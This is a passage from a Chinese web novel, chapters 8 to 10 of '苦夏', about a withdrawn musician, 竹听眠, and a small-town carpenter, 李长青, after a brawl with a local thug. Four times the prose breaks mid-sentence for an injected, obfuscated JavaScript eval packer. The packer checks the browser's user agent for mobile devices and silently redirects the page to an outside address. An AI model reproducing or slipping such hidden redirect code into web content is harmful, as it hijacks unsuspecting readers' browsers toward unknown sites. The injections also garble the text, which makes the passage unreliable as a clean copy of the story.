李长青因她而分神,被两个人抱摔着掼去墙上,另一个人冲过去提膝要撞他的肚子,好在李长青反应迅速,抬腿把那人崩开,也顾不上别的,先扭头喊竹听眠:“你离远点!” 竹听眠没搭理,径直走向院门,几个拦在门前的混混拦着那对母女,看这个年轻女人走过来,面面相觑之后回头看向齐群,后者也是一脸茫然。 竹听眠趁机弯了下身,从那几人抬着的手臂下头钻进去,到二丫身边快速低语了两句。 二丫听完之后瞪大眼看她。 竹听眠平静地和她对视,末了笑了笑。 二丫抹了把眼泪,深吸一口气,也不再挣扎,扭头朝齐群喊:“你过来!我有话和你说。” 齐群看了她一眼,又阴鸷地剜了竹听眠一眼,“求情的话就不用说了。” 二丫大喊:“我要说心里话!你听不听!” 齐群迟疑片刻,终于昂首过来,路过和人互殴的李长青时瞪他一眼,继续走路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350528|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 竹听眠拉着张婶往院里退了半步,给他们腾出空间,张婶挣开她,立马就要回院子抄锄头,还是二丫喊住了她,“妈,没事!” 二丫舔了舔嘴皮,又抹了把脸,和齐群很轻地说了一句话。 齐群脸色瞬间惨白,他难以置信地看着二丫,最后他怒火中烧地指着竹听眠,质问二丫:“她教你这么说的?” “我自己看到的!”二丫火气也不小,侧步挡住齐群的指头,吼他,“你要因为这事儿打我?还是你要在这聊这事儿?那就说!咱们都不要脸!” “你骗我!”齐群崩溃起来。 “实话实说!”二丫怒喊,“我不喜欢!我不选你!” 齐群不信邪的样子,“这事儿那么重要?” 二丫大声回答:“很重要!” “你……你怎么!你!”齐群气得手抖,失去了表达能力,居然就这么失魂落魄地离开。 其他混混见状,和李长青放了两句狠话,追了过去,路过赶来的警察时还小跑了几步。 没多会,围观的人群渐渐散去。 警察似乎很习惯李长青这个样子,劝他还是要立案,李长青摇头说不用,又劝他要求补偿,镇上给找律师,李长青还是说不用。 他抹了把嘴边的血,咧嘴对警察笑笑:“叔,几个小孩闹着玩儿的。” 李长青甚至开始劝警察,把人劝走,又去骂孙明和王天多管闲事,喊他们快滚。 王天赶着回去民宿工作,不敢冒着李长青的火气说什么,但连连向竹听眠鞠躬。孙明则是被他老爸拽着耳朵拖走,临走前眼含热泪同竹听眠表示感谢,并且发誓一定要请她吃饭。 李长青的三叔果真怒气冲冲地提刀赶到,被警察喊走,让他别添乱,下次不准带着管制刀具散步。 这件事连结束都很混乱。 李长青进了院门,把母女两安慰好,让她们快进去休息,自己在院里的水池洗了洗脸,漱掉嘴里的血。 竹听眠一直看着他。 李长青背对着人,开始收拾自己的东西,又很忙碌地整理衣服,最后实在无事可做,终于转过身来。 “为什么要多管闲事?你不知道怕吗?被误伤了是闹着玩儿的?” 竹听眠被问得得眉头抬了又抬,却也明白他的担心,干脆反问:“很饿,有吃的吗?”她接着又提议,“李长青,你给我煮碗早点吧。” 李长青脸侧和鼻尖挂着洗脸留下的水珠,头发、眼睛、脸颊全都湿漉漉的,带伤的嘴角扯了扯,最终叹了口气,从包里拿出瓶酸奶。 竹听眠伸手要接,指头几乎就要碰到瓶身,李长青却突然把手收了回去。 他低头看了看酸奶瓶上面的那块污渍,犹豫片刻,艰难地在自己衣服上寻找到一块干净的地方,然后拎起那块布,认真地把瓶子擦了擦。 擦拭完毕,重新把瓶子递过来。 “先垫垫。”他说。 他这样,竹听眠反倒收回了手。 李长青不解地看她。 竹听眠说:“你这样,好像是很关心我。” 李长青垂眼去看酸奶瓶,湿漉漉的睫毛扇了两下,最后直视竹听眠的眼睛低声询问。 “不可以吗?” 他说着,人也往前半步。 李长青身上还是淌着打斗的余热,随着距离缩近,强劲又霸道的热气随之扑过来。 像是在把问题完善。 我关心你,你要么? 竹听眠站得很稳,虽然没有后退的想法,却也意外地抬了抬眉,最终无声地笑了一下,伸手示意。 对他说:“给我。” 8. 苦夏 夕阳还未完全褪去,月已悬天。 李长青带着竹听眠往家走,一路迎接各类招呼以及目光。 很奇怪。 之前也不是没有这样的事,李长青起了争端,或打或骂,挂着伤或是衣衫褴褛,被谁瞧见都没太所谓。 今天身边跟了另一个人,一切都变得有所谓起来。 竹听眠的注意力都放在行走中的任何一样东西上,鲜艳奇怪的牌子要看看,野蛮乱长的野草要瞧瞧,新鲜出锅的蒸糕也要停下来闻闻。 晃来晃去,看看停停。 活像头一次踏足人间。 她全程没问,没说,如同半小时之前什么都没发生过。 只是路过某间铺子时,低头瞧见外头丢了片残破的镜子,竹听眠当即停住脚步。 李长青听见她说:“你来看。” 于是他走过去,和人隔着三步距离站好。 镜子里就是很正常的倒影,没什么特别值得注意的东西。 竹听眠却很认真地指着镜子里的自己说:“有美女。” “……”李长青真心实意地沉默了起来,扭头去看她,试图这颗漂亮的脑袋里是什么成分。 竹听眠的表情当真是一本正经,毫无玩笑意味,但也很快就收回注意力,继续往前走。 “想吃什么?”李长青问。 “我助理联系过你没?什么时候来呢?”竹听眠说。 李长青这才想起来,这人还没回民宿,只好面对面再说一遍收到的消息内容,又着重讲:“我本来给你留了纸条。” 竹听眠“嗯”了一声,回忆道:“今天我看见你了,下棋的时候,你在路边嘲笑我。” 她下了结论。 李长青当然不能平白被污蔑,“不是嘲笑。” “怎么那时候不来告诉我呢?”竹听眠偏头看他。 李长青就说人太多。 “煮碗面吧。”竹听眠滞后地回答了问题。 可悲的是,李长青明白得很快,像是已经习惯这种跳脱的对话,也或许是因为这么点小苗头,他甚至觉得自己多问两句应该也没有问题。 “为什么来这呢?” 相信在这几天里,竹听眠听过无数人问她,也对症下药给出过许多版本的回答。 李长青也想听听属于他的这个版本。 听到了沉默。 竹听眠依然在晃晃悠悠地走,看着不太像是想要回答问题的样子。 为什么要来呢? 她记得自己坐在病床上,身旁围着一万颗同时说话的脑袋。 “我觉得还是要转院。” “先发通稿,不然下个月的表演会要怎么解释?” “联系到比较权威的复健师。” “别妄想天开,她这个状态没法上台。” …… 一万句定义劈头盖脸地浇下来。 竹听眠始终保持着习惯性的微笑,十分得体地收下每一份流于表面的关心。 窗外是那座城市惯有的阴雨,不禁让人合理怀疑这个世界将永远停步于坏天气,并且为了这个怀疑而失去呼吸的力气。 她把视线移向房间里唯一的、流动的色彩。 电视上放着一个小镇的纪录片,阳光泼满大地,绿草地上有个牛奶厂,站在奶场的山坡上,可以俯视灰砖白墙的老镇。 竹听眠不太记得当时身边是谁,但记得自己说想要喝牛奶。 很快,好几盒包装精致的牛奶就被放到她面前。 然后她又听见自己说,不是这种。 接着又道歉,解释自己并不是故意为难人。 在所有人终于评估完她的实际价值或许将要因为右手受伤而大打折扣之后,病房重归安静。 门外却还闹着,听声音是舅舅和舅妈被保镖拦住,气急败坏地喊她这个忘恩负义的杀人犯,主旨是要她赔钱赔命,之后就是竹听眠这辈子都难以复述出口的辱骂。 竹听眠联系了小安。 “我要走了。”她说。 自生病住院到出院,再接着遭受事故伤了手,这半年全躺医院里了。 心理医生面诊之后,给出的评估结果并不美妙。 小安问她想要去哪,悲愤且义气地表示,可以拼了命让她去任何一个地方。 竹听眠当真思考了好半天,好笑地发现自己没地方可去。 手脚有些凉,很想晒晒太阳。 她再一次看向电视,同时对手机里的小安说话。 “稍后我发一个地名给你,你帮我看看是否有老屋出售,我想去养老。” 小安嚎啕大哭,连连答应下来,“姐!只要你不是要买坟,我都给你看!” 很难开口,差点就颓丧得快要活不下去,也没什么力气挣扎,却还记得曾经心爱的那本书上写过的话。 人只有在举目无亲的地方才算真正活着。 就是这么来的。 遇到李长青是意料之外。 秦晴这个名字在她的生命里已经是一段不愿再回首的历史。 看他的反应,似乎已经不记得当年的告白。 竹听眠这个人也无法成为少年情愫的续集,所以没有相认的必要。 如今再见,李长青已经生长得很好,似乎经历过一场灾难,让他成长为一个稳重可靠的青年,很扛得住事儿。 虽然记性不太好就是了。 竹听眠在心中腹诽良久,抬眼发现李长青还在等待自己的回答。 “哎。”竹听眠故意出声。 “嗯?”李长青立马回应。 他走着路,脑袋却朝后瞧,没发现前方的电线杆,众望所归地撞了上去。 竹听眠笑了他好久。 李长青捂着头,没多会,自己也莫名其妙笑起来,还要问:“你笑什么?” 竹听眠弯着眼继续往前,“怕我不给钱?” “不是。”李长青跟上她,“我想听听你会怎么敷衍我。” 竹听眠震惊于他的不遮掩,也愿意回报以诚实,“你很好,但我不想告诉你。” 李长青意外地梗了梗脖子,干巴巴地讲:“你不对谁都都能说嘛?” 都不好分辨哪句真哪句假。 “总要有个可以说真话的人。”竹听眠看了他一眼,“夸你的话是真的。” 李长青瞪着她,反复确认自己刚才那句心里话的确没有说出口。 “夸你的话是真的。”竹听眠重复说。 李长青把目光移向别处,“哦。” 他不常在家里开火,要想真做个什么能吃的,厨艺天赋也不允许,不是每一个生活在乡村小镇且遭遇苦难的人都拥有烹饪的能力。 没特意学过,煮熟倒是完全没有问题。 理想情况是炒个肉酱,或者炸个葱油,煮锅面,再烫两片青菜。 可李长青不会炒肉酱,又不忍心真的就煮一锅清汤寡水,所以他拆了袋方便面,煮了把新鲜面条,把料包加进去,上供给竹听眠。 在她吃的时候,自己捧着杯热水坐旁边抱着面饼啃。 好歹是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350529|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完成了一次简陋的招待。 很难得,李长青居然在竹听眠脸上看到无语的表情,觉得自己终于扳回一城。 只是有点意外。 “你是左撇子?” 也是今晚兵荒马乱,李长青煮完面才想起来竹听眠右手不便,结果发现她左手握筷丝毫不受影响,动作十分自然。 不回答的反应也十分自然。 李长青算是发现了,这个人的言语拥有两种模式,胡言乱语和闭口不言,看心情无缝切换。 竹听眠安静地吃完面,很自然地坐在李长青家院子里仰头看星星,顺便闲聊。 “出嫁都要备木头家具做嫁妆吗?” “看人,有的喜欢也有人不喜欢。” 竹听眠毫无铺垫地问:“李长青,你结婚会请我吗?” 这都哪跟哪,李长青失笑:“……你一直都这么聊天吗?” 竹听眠:“就是问问。” 李长青发现这个人真的很难懂,但说到结婚,难免想起二丫的事情,“你让二丫和齐群说了什么?” 他顿了顿,又问:“是很伤人的话吗?” 竹听眠让他安心,讲齐群不会再骚扰二丫了。 她这么一说,不是让人更好奇么? 李长青盯着她。 竹听眠专注地看星星,夜幕里闪烁的光芒将她的思绪带回之前。 那些光与影交织的夜晚。 出国交换那两年,音乐学院时常有派对夜,年轻的学生钻头觅缝地体验笙歌。 竹听眠在国外的好友是一个热情明艳的红发姑娘Alexia,她是出色的小提琴手,同时也是一个优秀的社交天才。 说话直率,不拘小节。 那是一场冬日舞会,竹听眠同往常一般抿着果酒靠在舞池边缘。 Alexia大声告诉她自己发现一个绝妙的办法,可以让那些死缠烂打的臭男人滚远一些,并且再也不敢出现。 她很是激动,恍若发现了新大陆,竹听眠感染于这种热情,好奇地问:“Whatonearthisthat?”(什么什么?) Alexia立刻搭配着手势分享:“Yourdickistoocute,sorry,Iwasn''tmeaningto,Isawitonce.AndIknowthatallyou''vegot.butIjustcan''tchooseyou.getit?”(实在抱歉,我不慎看过你迷你的老二,我无法喜欢,所以我无法选择你,明白吗?) 她兴奋地用蹩脚的中文问:“窝草补窝草?” 竹听眠睁圆了眼,千言万语化作一声“wow”。 之后她没什么机会实践,这种直击对方自信根基的办法相当刻薄,也的确不会留下回旋余地。 别人竹听眠不知道,但齐群是一个愤怒的人,时刻愤怒着,霸道、狂妄、怨愤又执拗。 他没有脸去求证二丫,也不会有脸再骚扰二丫。 小镇自此多了一个心碎的男人。 竹听眠觉得有些造孽,为此感慨一声。 李长青还在等待回答,他和齐群硬碰硬这么多年,真的很想知道是什么话能让齐群立马走人。 可竹听眠只是笑眯眯地对他说:“是你不会希望听到的话。” “你真的很会吊人胃口。”李长青低声指责,和她确认还要不要吃,不吃的话他就洗碗了。 “李长青,”竹听眠忽然喊他,“手续办完,你拿到钱,还会经常来见我吗?” 9. 苦夏 李长青干脆放弃猜测她的目的,搓着碗回答:“看情况,但应该不会,而且你会很忙。” “我不忙。”竹听眠说。 “到时候看吧,”李长青没把话说死。 竹听眠忽然问:“那么,你是要赔钱吗?” 这是怎么延伸出来的负债关系? 李长青实在对“赔”这个字眼过于敏感,难免侧首去看人。 竹听眠很是理所当然地对他微笑,然后等待他主动提问。 “什么……钱?”李长青迅速在脑子里过了遍出售合同,确定自己这边没有什么后续费用。 “你把我门框撞坏啦,”竹听眠说,“忘了吗?” 李长青立刻关了水,抬着碗,尽量语气郑重,“会给你修,已经订了木头,货还没到。” 竹听眠安静片刻,看起来很是苦恼,最终问:“只是修门吗?” 李长青看向手里还挂着洗洁精泡沫的那只碗。 应该给她煮清汤寡水的,他开始试图幻想报复。 “我觉得不够。”竹听眠嗓音很好听,说出口的话却不动听。 李长青怀疑她这两天打入小镇情报传递人员内部一定听到了什么。 老屋本来是李家的,后来分开住进新房子时,老爸念旧,干脆让几个叔婶定价,他出钱买下来,当时不知道小镇还能发展旅游,也没想过回去住,只是留个念想。 那场灾难之后,李长青辍学回来在小镇做木工,撑着铺子,也为照顾那九家人。彼时变卖一切给过赔偿款,于公于私,数额都太微薄,连应赔数额的三分之一都不到。 他每个月做活也能挣些,每天买了肉菜挨家挨户地送,勉强维持,存款是没有的,病也是不敢生的。 卖房子的这个钱,拿到手也得分出去赔,两百来万看着很多,九家人,十条命,李长青一毛都剩不了。 也不想剩。 李长青穷得天知地知,用钱很容易拿捏他这个人。 他合理怀疑竹听眠知道,毕竟很多人爱把他家的苦难当做谈资。 恶意可以出于任何目的,也可以没有目的,主要是看道德。 竹听眠刚好又是个游戏人间毫不在意的人。 李长青并不期望任何人好心相待,主动说:“你要我赔多少?可以直接从房款里扣。” 竹听眠问:“安静这么久,心里骂了我好几句吧?” 李长青把碗放去水池上,又把手洗干净,安静地等她回答。 心情微妙且复杂。 “我不要你赔钱,”竹听眠眼睛看着斜下方,眨了眨,慢吞吞地说,“我想要……” 话说一半,又歇了声。 想要什么呢? 竹听眠有些懊恼自己尚未想清答案就开了口,稍不留神戳去人伤口上,过会还得哄不说,这下把局面搞得有些尴尬。 她来到这里本质就是逃避,李长青和这里所有人都不一样。 身在悲剧,坚韧又强大。 试图功利,却显得拙劣。 很有担当,充满安全感。 当然,长得不错,身材尤其扎实。 竹听眠既俗气又理想,以上种种,于她而言都是吸引,想要多瞧瞧这个人,似乎也是必然的选择。 没够到喜欢或者心动,但相处时感到舒适是显而易见的。 失去勇气的逃难者遇到一个责任感富豪,难免想多瞧瞧。 她说:“我要别的。” 又重申:“我不要钱。” “什么别的?”李长青问。 竹听眠觉得这个答案不好总结,如实回答:“不太好说。” 李长青眉头拧得更紧,比钱还昂贵的东西无疑是难以给予的东西。 “你不会,你不会是想要我那个吧?” “哪个啊?”竹听眠好奇抬头。 李长青压低声音说:“你们城里那种,我不行。” 面上带着没必要的正直与坦然。 “你怎么还搞地域歧视?”竹听眠觉得他有些严肃过度,反应了会,最后极其敬佩地得出结论,“你觉得我要,哇,李长青?” 李长青这才顿悟自己误解了,又因她这么直白的语言而局促,想解释又怕越描越黑,憋出句:“是我想太多了,对不起。” 他转身继续洗碗。 竹听眠朝他喊:“原来你一点都不单纯!你把我带坏了!” 李长青只当自己聋了。 竹听眠很擅长借题发挥,完全不顾人死活,“居然还有这个选项,那我考虑考虑?” 尾调因为故意逗弄,快要飞扬上天。 李长青深吸一口气,闭着眼把手里的碗一顿乱搓,从牙缝里挤出“别考虑”三个字。 “为什么不肯?”竹听眠追问,又说,“要说起来,你的身材很不错。” 李长青忍无可忍,再也顾不上任何礼貌:“竹听眠!” 竹听眠眯起眼,“你声音好大。” 李长青一噎,改为小声警告:“别开这种玩笑。” 竹听眠就歪着身子看他,“害羞啦?” 李长青偏头不让她看,觉得夏天真是热得要命,好在竹听眠终于安静下来,不再说让人听不下去的话。 可是未免安静得太久,李长青又不习惯起来,想要回头偷看,却正正地对上她的打量。 “李长青。”竹听眠喊他。 “啊。”李长青回应她。 “李长青,怎么会有这种想法啊?”竹听眠问,“以前有人对你提出过这样的要求吗?” 李长青安静少时,说:“什么样的人都有。” 竹听眠明白了。 但是。 “我的面相应该还是很正派的吧!”她为自己不公,又迅速思索出一个比较符合实际的答案,“你觉得我对你好,又让你陪着,你猜不到目的?干脆想我心术不正?” 李长青看着自己布满茧子的手,想着自己的命,的确没有任何一个可以撑起竹听眠这份奇怪亲昵的因素。 他无法理解,又反驳不了,只好点头。 倒是意外的诚实。 竹听眠没忍住笑出声来,但绝对没有嘲笑的意思,只是单纯觉得很可爱。 “你之前说我没吃过苦,”她无端开启坦白,“但其实我吃了很多苦,右手这个伤口,是最微不足道的一个,也是压死骆驼的稻草。” 李长青沉着脸,却放慢动作,竖起耳朵。 “我呢,不喜欢悲剧,也讨厌苦难,所以我不爱过问别人不主动提起的隐私,也同样希望别人这么对我。”竹听眠重新坐下去,“李长青,只有你没有问我的右手,这是我不讨厌你的原因之一” 不讨厌,之一。 这个人总是坦诚得让人无话可说。 李长青没有很好的应对方法,只好先暗自叹了口气。 “大家都有受不了的时候,对你,我不会是那一根稻草,”竹听眠等了一会,变得不耐烦,“那个碗我吃过,你非要洗这么久的话,我要闹了。” 李长青:“……” 竹听眠还在持续输出:“李长青,你很难哄。” 水龙头被关掉,院里终于安静下来。 李长青转过身,靠在水池边,双手向后撑着台面,嘴角带伤的样子看起来不容易亲近。 他问:“你要我做什么?” “没想好呢,”竹听眠弯着眼问他,“可以许愿吗?三个?” 李长青问:“会犯法吗?” “成见,”竹听眠说,“不会。” 李长青又问:“会缺德吗?” 竹听眠没有回答。 她仰起脑袋,抬起左手,掌心向下手臂伸直,“看好了,这是天平。” 她一本正经,李长青再次看向她的脑袋。 竹听眠原谅这个人没见过世面的眼神,用右手在手背压了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350530|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压,指头拈起又张开,放了个看不见的东西。 “这是我刚才说错话了。” 说错话的分量表现在手臂倾斜的角度上,她赶紧又用右手拈着空气放去手肘上,“把我的小秘密告诉你一点。” 她压低嗓音,带着一丝隐秘的得意。 手臂摇摇晃晃保持平衡。 像是这个并不存在的天平上,真的有两道同等重量的伤疤。 最后,她问:“还生气吗?” 又说:“别气了吧?” 很会当场解决问题的样子。 怎么会有这样的事,突然出现一个人,打破所有预设,告诉说或许能理解痛苦。 李长青垂着眼看她,语言的意义让人费劲思量。 尽管不愿承认,但他的确感受到了某种微妙的松动,松了什么又动了什么不好说,觉得这个人总是撒娇这一点很麻烦。 他催她,“走啦,送你回民宿休息。” “等等!”竹听眠当场要求使用一个愿望,“下一次我让你生气,你一定要当场原谅我。” 居然提出这么霸道的条款。 李长青看她这么理直气壮,居然也不想让她失望,回答也变得幼稚又大方。 “只要不伤害我,我会很快原谅你。” 竹听眠终于满意,同他拉勾圆满地完成契约。 她实在擅长引导节奏,而且自有道理,擅长逻辑自洽,似乎是个很难安静下来的人。 具体表现在当晚李长青送她回民宿,路上被拦住。 “好几次了,每回都这样拦在我的必经之路上,”竹听眠不爽地宣布,“李长青,我今天一定要报仇。” “算了。”李长青试图劝。 竹听眠完全不听,很严肃地表明态度,“不可以!我不怕事也要惹事!” 李长青:“……” 他实在不知该如何劝,顺着竹听眠的目光望向巷子那头的地上。 小镇放养的狗狗会在入夜后出来聚会,交交朋友,逛逛街。 “你没看到吗?他刚才用什么眼神看我?”竹听眠瞪着领头那只黑白点。 李长青好笑道:“什么眼神。” “鄙夷的眼神!”竹听眠用手比划,“已经是第三次,前两次我都忍了,可见人善就要被欺负。” “不是,你到底……”李长青偏头去看她,发现她面色凝重,全然是一副受到冒犯的样子,既荒谬且真挚。 更好笑了。 “你去。”竹听眠说。 李长青问:“你为什么不去?” “手伤了。”竹听眠勉强给了个理由。 李长青劝不了,不知道为什么,居然真的依照指令往前几步,走到那只摇尾巴的黑白点面前蹲下。 开启对视。 “咔嚓——” 竹听眠得意地摇晃手机,“你好幼稚李长青,居然欺负小狗,我已经拍下你的罪证。” 李长青早知是这样的结果,发现自己已经开始习惯这种“设计”,“怎么还偷拍?” “当面就不算偷拍。”竹听眠从包里拿出个口香糖瓶子,抖了抖,细碎的声音立马把那几只狗吸引过来,热情地围着她闻嗅。 瓶子里是方形的肉干。 城里宠物肉干。 她给每只小狗都起了专属于竹听眠的名字,大方地赋予意义。 只是多了一个人,老镇却不再死气沉沉,熟悉的街巷像是被注入了什么,居然开始微颤,紧一阵,缓一阵。 李长青笑容淡去,茫然地抬手按压胸口。 不知怎的,他问:“竹听眠,你有对象吗?” 话出口才发觉有些突兀,急急补充:“他们都好奇这个。” 竹听眠很快回答:“没有。” 李长青就说:“哦。” 但竹听眠又问:“他们是谁呀?” 李长青笑了笑:“没谁,不重要的人。” 10. 苦夏 忙碌又平静地度过了几天。 太平得像是齐群那件事发生于十年前。 根据过往经验,李长青为二丫出头后,长则三天,短则半小时,齐群一定要找回场子。 除了这次,他安静得像是换芯了一样。 奇了个大怪。 期间孙明和王天几次试图套话,想知道究竟是多么神奇的句子,可以一举干废齐群。 可竹听眠只是笑眯眯地扯开话题,李长青更是一问三不知。 又不可能去找二丫问,两人十分着急于真相。 隐隐约约,好似日子已经开始变得不一样。 李长青再次看向手机,确定竹听眠的助理是今天过来。 如果顺利的话。 齐群找上门时,李长青刚把衣柜给张婶送过去,折回来发现铺子门口停着辆摩托,齐群蹲在院里抽烟。 背影很是惆怅。 李长青和他打了照面,他没有表现出要骂人或者打人的意思,耷眉耸眼抽完那根烟才站起来。 他喊李长青去厕所。 李长青当场拒绝,因为洗手台那些瓷盆和管道打坏了不好修。 可齐群非常坚持,几句话下来,李长青居然惊悚地品出来些恳求的意味。 这份惊悚在进入厕所之后陡然升级。 齐群扯开自己的弹力裤腰,示意李长青探头去看小齐,疑似求爱不成感染失心疯。 作为从小一起长大的朋友,如果还能这么形容的话。毕竟李长青从未觉得他和齐群不共戴天,也能坦然接受齐群合理的恨意。 不论过往如何,李长青依然希望齐群可以有别的下场,继续当流氓去吃国家饭,或者突然醒悟过来好好做人,总之不该是疯掉。 他语重心长地劝:“真的不至于。” 齐群突然抬起脸,“让我看看你的。” 李长青面无表情地和他对视,然后说:“走,去院子里打。” 最终也没打成,齐群黯然离开。 李长青挠挠脑壳,想着要是今天能见着竹听眠,得问问究竟说了什么。 他如往常一样把老太太的水果车推去镇口,接着去民宿找人,准备商量一下去车站接人的事儿,但王天说早出去溜达了,之后李长青去文化中心也没见到竹听眠。 已经到了买菜送菜的时间,李长青送到陈家,陈小胖如同往常一样守在侧门。 今天新酱的肉好,李长青给每一家都买了个酱肘子,陈小胖这里还单独给他带了个卤鸡腿做解馋零食。 小孩儿喜出望外地接过去表达感谢,李长青捏捏他脸,转头去隔壁赵家给老爷子洗菜刷地。 再绕出来,意外地发现竹听眠等在外面,手里拿着本该属于陈小胖的鸡腿,吃得很香。 看见李长青,她愉悦道:“就知道你在这。” 关于竹听眠的社交能力不分年龄阶段这事儿,李长青早有领教,但是仍然不敢相信她居然连小孩儿的零食都抢。 李长青表达疑问之后,竹听眠立刻撤回了愉快的笑容,并且大声指责他是在胡说八道,讲自己是拿小蛋糕换的,最后不忘戏谑李长青居然都不知道小孩儿爱吃甜食,真是很不合格的大人。 行云流水。 李长青只能顺着她的话说:“是的,我有些考虑不当。” “没关系,以后多多注意。”竹听眠当场原谅了他,接着威武地用鸡腿指挥,“快走。” 虽然本来就打算带她去接人,可李长青突然就不想让她轻易如愿,故意站着没动,问:“为什么?” “什么为什么,”竹听眠说,“今天我的助理要来啊,你忘了?忘了也没关系,还好我记得,难道我们不该去接她吗?” “是的,应该的,”李长青点头表示肯定,“请问这个流程里我的角色是?” “司机。”竹听眠很快回答。 李长青说不。 竹听眠眯起眼,“李长青,你今天很叛逆呀。” 李长青学她的语气:“是的呀。” 竹听眠立马转身,叼着鸡腿抬着伤手,身残志坚地往摩托上爬,丝毫不担忧连人带车摔倒的可能性,也不知哪来的自信知道李长青一定不会让她摔个四脚朝天。 这和要不到玩具当街打滚撒泼有什么区别? 陈小胖都不屑于做这种事儿了。 李长青只能扶住车,连叹气都来不及。 他对着啃鸡腿的人低声说话,自言自语一样。 “你怎么胆子这么大。” 竹听眠安然坐好,很有礼貌地低声探讨:“那怎么办?” 夏风拂过两人之间这段距离,闷的、烫的、无解却又拦不住的,又刺又痒的。 李长青后退一些,“你真的很奇怪。” 竹听眠又笑着问一遍:“那怎么办?” 李长青哪知道答案,告诉她:“吃好再走,不然抹我一身油。” * 秋芒镇已经有几个景点体验项目对外开放,山里那个蓝水池子还是比较受欢迎的,近半年来打卡的游客很多,但始终还没正式形成规模,再者大部分都是自驾前来,小镇班车还是服务于本地人员,时间安排极其有个性,早晚都各自有两班来回的,一般坐的都是人。 午后这班,拉着前村后山的人狗鸡羊,跑个来回,车厢里的味道是桐油在腌菜缸里泡制多年的生活气味,深刻入骨,十分难忘。 这就是秋芒镇,偶尔现代,时常粗糙,习惯性半死不活。 据竹听眠本人说,她来的时候坐的就是这个班车,还与隔壁老爷子相谈甚欢,几乎要拜把子。 她活像个很奇怪的过滤器,能够将任何杂不堪筛住,抖抖摇摇,只给自己留下好东西。 不记得拥挤难闻的车厢有多难待,却记得一个说话有趣的大爷。 “看着路。”李长青停好摩托,对四处探头乱看的竹听眠打了个响指。 成功把马上要踩进沟里这个人的注意力吸引回来。 竹听眠指着街对面的奶茶店,“走吧,我请你喝东西。” 李长青付了款,把冰奶茶递过去给她。 竹听眠接过去道谢,说下次一定会记得带钱出门,吸了一口奶茶,表情果然变得呆滞。 李长青当然知道班车站门口的奶茶喝起来跟油漆没有区别,又不忍心阻止竹听眠体验,顺理成章地欣赏起她难以下咽的表情。 他拿了瓶矿泉水,看着发呆的她发了会呆,想起一件事。 “齐群到底听见什么了?” 竹听眠反问:“你很关心他?” 像是还在试图接受奶茶的余韵,声音有些黏连。 “说不上关心,但也不能看着他这样,”李长青手指骨节扣扣桌子,“我看他状态不太好。” 竹听眠抬起眉毛,倒是没再说多余的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350531|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二丫什么时候出嫁?” “下个月初五。”李长青说。 “那等二丫出嫁之后,我会去和齐群说,别聊了,让我睡会。”竹听眠迅速做出保证,把杯子往前一推,整个人就要趴去桌上。 店面大门朝向大路,更何况是在车站附近,还有,竹听眠今天又穿了一身白。 李长青伸手,食指抵在她脑门上,余光看了眼老板的位置,用口型告诉她:“桌子脏。” 竹听眠被迫因为这根指头而仰着脸,刚才打了个哈欠,困得实在厉害,眼睛眯缝,听不进去任何话的样子。 李长青试着松点力气,那颗脑袋立马就要往下砸,搞得松手也不是,继续戳着也不太合适。 “你等一下,”李长青说,“坐好。” 竹听眠眯着眼看人,展现一种并不领情但也听话的状态。 李长青今天特意穿得比较正式。 翻出几乎用不上的网格衬衣,虽然比不了西装,倒也能体现重视,里面还套着T恤。 把自己的衬衣脱下来,把贴身那面朝上,顶着奶茶店老板刀子一样的目光把衣服垫去桌子上,还没说话,竹听眠立马就把脸埋了进去,脸面向墙壁,脑门和发顶对着李长青。 她是真的很困,昨夜很努力想要是睡着,结果越努力越心酸,一直清醒到天明,本想着早上好歹能困,兴许能睡两三个小时,又想到很快就要看见小安,各种情绪疯狂在心里产生反应,没能休息一会。 直到现在,旁边有人陪着,汽油味的奶茶都变得催眠起来,困意上涌,竹听眠不愿意错失良机。 衣服上干净的、带着体温的肥皂香味让人无比安心。 竹听眠很快就睡了过去。 就刚才那么随手一戳,她额前就留了个印子。 这么娇贵一个人…… 